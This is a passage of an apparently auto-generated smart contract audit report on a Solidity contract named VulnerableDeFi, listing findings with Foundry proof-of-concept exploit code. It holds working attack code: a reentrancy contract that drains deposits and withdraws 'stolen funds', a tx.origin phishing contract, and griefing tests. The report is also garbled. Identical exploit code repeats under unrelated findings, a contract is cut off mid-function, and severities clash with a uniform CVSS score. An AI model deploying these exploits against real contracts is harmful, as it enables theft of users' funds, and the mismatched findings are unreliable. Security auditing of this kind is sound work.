function test_pause_griefing() public {
    console.log("\n=== Testing Pause Griefing ===");

    // If pause() is unprotected, attacker can grief users
    vm.prank(attacker);
    try target.pause() {
        console.log("Contract paused by attacker!");

        // Verify contract is paused
        // assertTrue(target.paused());

        // Users cannot interact
        vm.prank(victim);
        vm.expectRevert();
        target.withdraw();
    } catch {
        console.log("Pause is properly protected");
    }
}
}

```

```

function test_fee_manipulation() public {
    console.log("\n=== Testing Fee Manipulation ===");

    // If setFee() is unprotected, attacker can set extreme fees
    vm.prank(attacker);
    try target.setFee(9999) { // 99.99% fee
        console.log("Fee set to 99.99% by attacker!");

        // This would cause massive losses for users
    } catch {
        console.log("Fee setting is properly protected");
    }
}

}

/**
 * @title MaliciousContract
 * @notice Used for tx.origin phishing attacks
 */
contract MaliciousContract {
    function trick(address target) external {
        // When legitimate owner calls this,
        // tx.origin will be the owner
        // msg.sender will be this contract

        // If target checks tx.origin instead of msg.sender,
        // this call will succeed as "authorized"

        (bool success,) = target.call(
            abi.encodeWithSignature("destroy(address)", address(this))
        );
        require(success, "Attack failed");
    }
}

```

Impact Analysis

Complete loss of funds or contract takeover possible. Immediate exploitation risk.

Recommendation

Add access control modifiers (onlyOwner, role-based) to sensitive functions. Use OpenZeppelin AccessControl or Ownable.

References

- No references available

F-103. delegatecall_injection

PROPERTY	VALUE
Severity	CRITICAL
Category	SC03:2025 - Delegatecall
CVSS Score	9.6
Location	VulnerableDeFi.sol:96 (execute)
Status	open
Detected By	peculiar

Description

Delegatecall to user-supplied or unvalidated address

Vulnerable Code

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Exploit PoC
 * @notice Proof of Concept for delegatecall vulnerability
 * @dev Generated by MIESC PoC Generator
 * @custom:severity Critical
 * @custom:generated 2026-02-02 15:31
 */
contract VulnerableDeFiExploitTest is Test {
    // Target contract
    address public target;

    // Attacker
    address public attacker;

    function setUp() public {
        // Setup attacker
        attacker = makeAddr("attacker");
        vm.deal(attacker, 100 ether);

        // Deploy or connect to target
        // target = address(new VulnerableDeFi());
    }

    function test_exploit_delegatecall() public {
        console.log("=== Starting delegatecall Exploit ===");
        console.log("Attacker:", attacker);
        console.log("Target:", target);

        uint256 attackerBalanceBefore = attacker.balance;

        vm.startPrank(attacker);

        // TODO: Implement exploit logic for delegatecall
        // Call vulnerable function: target.execute()

        vm.stopPrank();

        uint256 attackerBalanceAfter = attacker.balance;

        console.log("=== Exploit Complete ===");
        console.log("Balance before:", attackerBalanceBefore);
        console.log("Balance after:", attackerBalanceAfter);

        // Assert exploit success
        // assertGt(attackerBalanceAfter, attackerBalanceBefore, "Exploit should
profit");
    }
}

```

```
}
```

Impact Analysis

Complete loss of funds or contract takeover possible. Immediate exploitation risk.

Recommendation

Validate and whitelist delegatecall target addresses. Never delegatecall to user-controlled input. Use immutable proxy patterns with verified implementation addresses.

References

- No references available

F-104. threat_model

PROPERTY	VALUE
Severity	INFO
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:48
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- No references available

F-105. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:73
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- No references available

F-106. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:88
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- No references available

F-107. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:93
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- No references available

F-108. threat_model

PROPERTY	VALUE
Severity	CRITICAL
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:100
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Threat identified via STRIDE analysis:
Category: Spoofing
Threat: External function without authentication
Impact: Anyone can call privileged function
 * Severity: Critical
 * Target Function: vulnerable
 * Generated: 2026-02-02 15:31
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract VulnerableDeFiReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function vulnerable() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target contract
    }
}
```

```

    // target = IVulnerable(deployCode("VulnerableDeFi.sol"));

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter -
attackerBalanceBefore + ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

```

```

        // Execute attack
        vm.prank(attacker);
        attackerContract.attack();

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance ≥ 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("vulnerable()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("vulnerable()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {
        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }
}

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- No references available

F-109. threat_model

PROPERTY	VALUE
Severity	CRITICAL
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:106
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Threat identified via STRIDE analysis:
Category: Spoofing
Threat: External function without authentication
Impact: Anyone can call privileged function
 * Severity: Critical
 * Target Function: vulnerable
 * Generated: 2026-02-02 15:31
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract VulnerableDeFiReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function vulnerable() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target contract

```

```

    // target = IVulnerable(deployCode("VulnerableDeFi.sol"));

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter -
attackerBalanceBefore + ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

```

```

        // Execute attack
        vm.prank(attacker);
        attackerContract.attack();

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance ≥ 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("vulnerable()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("vulnerable()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {
        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }
}

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- No references available

F-110. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:113
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- No references available

F-111. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:130
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- No references available

F-112. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:134
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- No references available

F-113. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:10
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Tampering Threat: Public state variable without setter protection Impact: State can be read by attackers for manipulation timing

Vulnerable Code

```
// No code snippet
```

Impact Analysis

State can be read by attackers for manipulation timing

Recommendation

Use internal/private visibility and controlled setters

References

- No references available

F-114. threat_model

PROPERTY	VALUE
Severity	LOW
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:43
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Tampering Threat: Setter function without input validation Impact: Invalid data can corrupt contract state

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Invalid data can corrupt contract state

Recommendation

Add require() statements to validate inputs

References

- No references available

F-115. threat_model

PROPERTY	VALUE
Severity	INFO
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:33
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Repudiation Threat: State-changing function without event emission Impact: Actions cannot be audited or proven

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Actions cannot be audited or proven

Recommendation

Emit events for all state changes

References

- No references available

F-116. threat_model

PROPERTY	VALUE
Severity	LOW
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:38
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Repudiation Threat: State-changing function without event emission Impact: Actions cannot be audited or proven

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Actions cannot be audited or proven

Recommendation

Emit events for all state changes

References

- No references available

F-117. threat_model

PROPERTY	VALUE
Severity	LOW
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:43
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Repudiation Threat: State-changing function without event emission Impact: Actions cannot be audited or proven

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Actions cannot be audited or proven

Recommendation

Emit events for all state changes

References

- No references available

F-118. threat_model

PROPERTY	VALUE
Severity	INFO
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:48
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Repudiation Threat: State-changing function without event emission Impact: Actions cannot be audited or proven

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Actions cannot be audited or proven

Recommendation

Emit events for all state changes

References

- No references available

F-119. threat_model

PROPERTY	VALUE
Severity	LOW
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:59
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Repudiation Threat: State-changing function without event emission Impact: Actions cannot be audited or proven

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Actions cannot be audited or proven

Recommendation

Emit events for all state changes

References

- No references available

F-120. threat_model

PROPERTY	VALUE
Severity	LOW
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:65
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Repudiation Threat: State-changing function without event emission Impact: Actions cannot be audited or proven

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Actions cannot be audited or proven

Recommendation

Emit events for all state changes

References

- No references available

F-121. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:73
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Repudiation Threat: State-changing function without event emission Impact: Actions cannot be audited or proven

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Actions cannot be audited or proven

Recommendation

Emit events for all state changes

References

- No references available

F-122. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:88
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Repudiation Threat: State-changing function without event emission Impact: Actions cannot be audited or proven

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Actions cannot be audited or proven

Recommendation

Emit events for all state changes

References

- No references available

F-123. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:93
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Repudiation Threat: State-changing function without event emission Impact: Actions cannot be audited or proven

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Actions cannot be audited or proven

Recommendation

Emit events for all state changes

References

- No references available

F-124. threat_model

PROPERTY	VALUE
Severity	CRITICAL
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:100
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Repudiation Threat: State-changing function without event emission Impact: Actions cannot be audited or proven

Vulnerable Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Threat identified via STRIDE analysis:
Category: Repudiation
Threat: State-changing function without event emission
Impact: Actions cannot be audited or proven
 * Severity: critical
 * Target Function: vulnerable
 * Generated: 2026-02-02 15:31
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract VulnerableDeFiReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function vulnerable() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target contract
    }
}
```

```

// target = IVulnerable(deployCode("VulnerableDeFi.sol"));

// Deploy attacker contract
vm.prank(attacker);
attackerContract = new AttackerContract(address(target));

// Victim deposits funds
vm.prank(victim);
target.deposit{value: VICTIM_DEPOSIT}();

console.log("=== Setup Complete ===");
console.log("Target balance:", address(target).balance);
console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter -
attackerBalanceBefore + ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

```

```

        // Execute attack
        vm.prank(attacker);
        attackerContract.attack();

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance ≥ 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("vulnerable()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("vulnerable()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {
        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }
}

```

Impact Analysis

Actions cannot be audited or proven

Recommendation

Emit events for all state changes

References

- No references available

F-125. threat_model

PROPERTY	VALUE
Severity	CRITICAL
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:106
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Repudiation Threat: State-changing function without event emission Impact: Actions cannot be audited or proven

Vulnerable Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Threat identified via STRIDE analysis:
Category: Repudiation
Threat: State-changing function without event emission
Impact: Actions cannot be audited or proven
 * Severity: critical
 * Target Function: vulnerable
 * Generated: 2026-02-02 15:31
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract VulnerableDeFiReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function vulnerable() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target contract
    }
}
```

```

    // target = IVulnerable(deployCode("VulnerableDeFi.sol"));

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter -
attackerBalanceBefore + ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

```

```

        // Execute attack
        vm.prank(attacker);
        attackerContract.attack();

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance ≥ 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("vulnerable()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("vulnerable()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {
        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }
}

```

Impact Analysis

Actions cannot be audited or proven

Recommendation

Emit events for all state changes

References

- No references available

F-126. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:113
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Repudiation Threat: State-changing function without event emission Impact: Actions cannot be audited or proven

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Actions cannot be audited or proven

Recommendation

Emit events for all state changes

References

- No references available

F-127. threat_model

PROPERTY	VALUE
Severity	LOW
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:67
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Denial of Service Threat: Unbounded loop over dynamic array Impact: Gas limit can prevent function execution

Vulnerable Code

```
// No code snippet
```

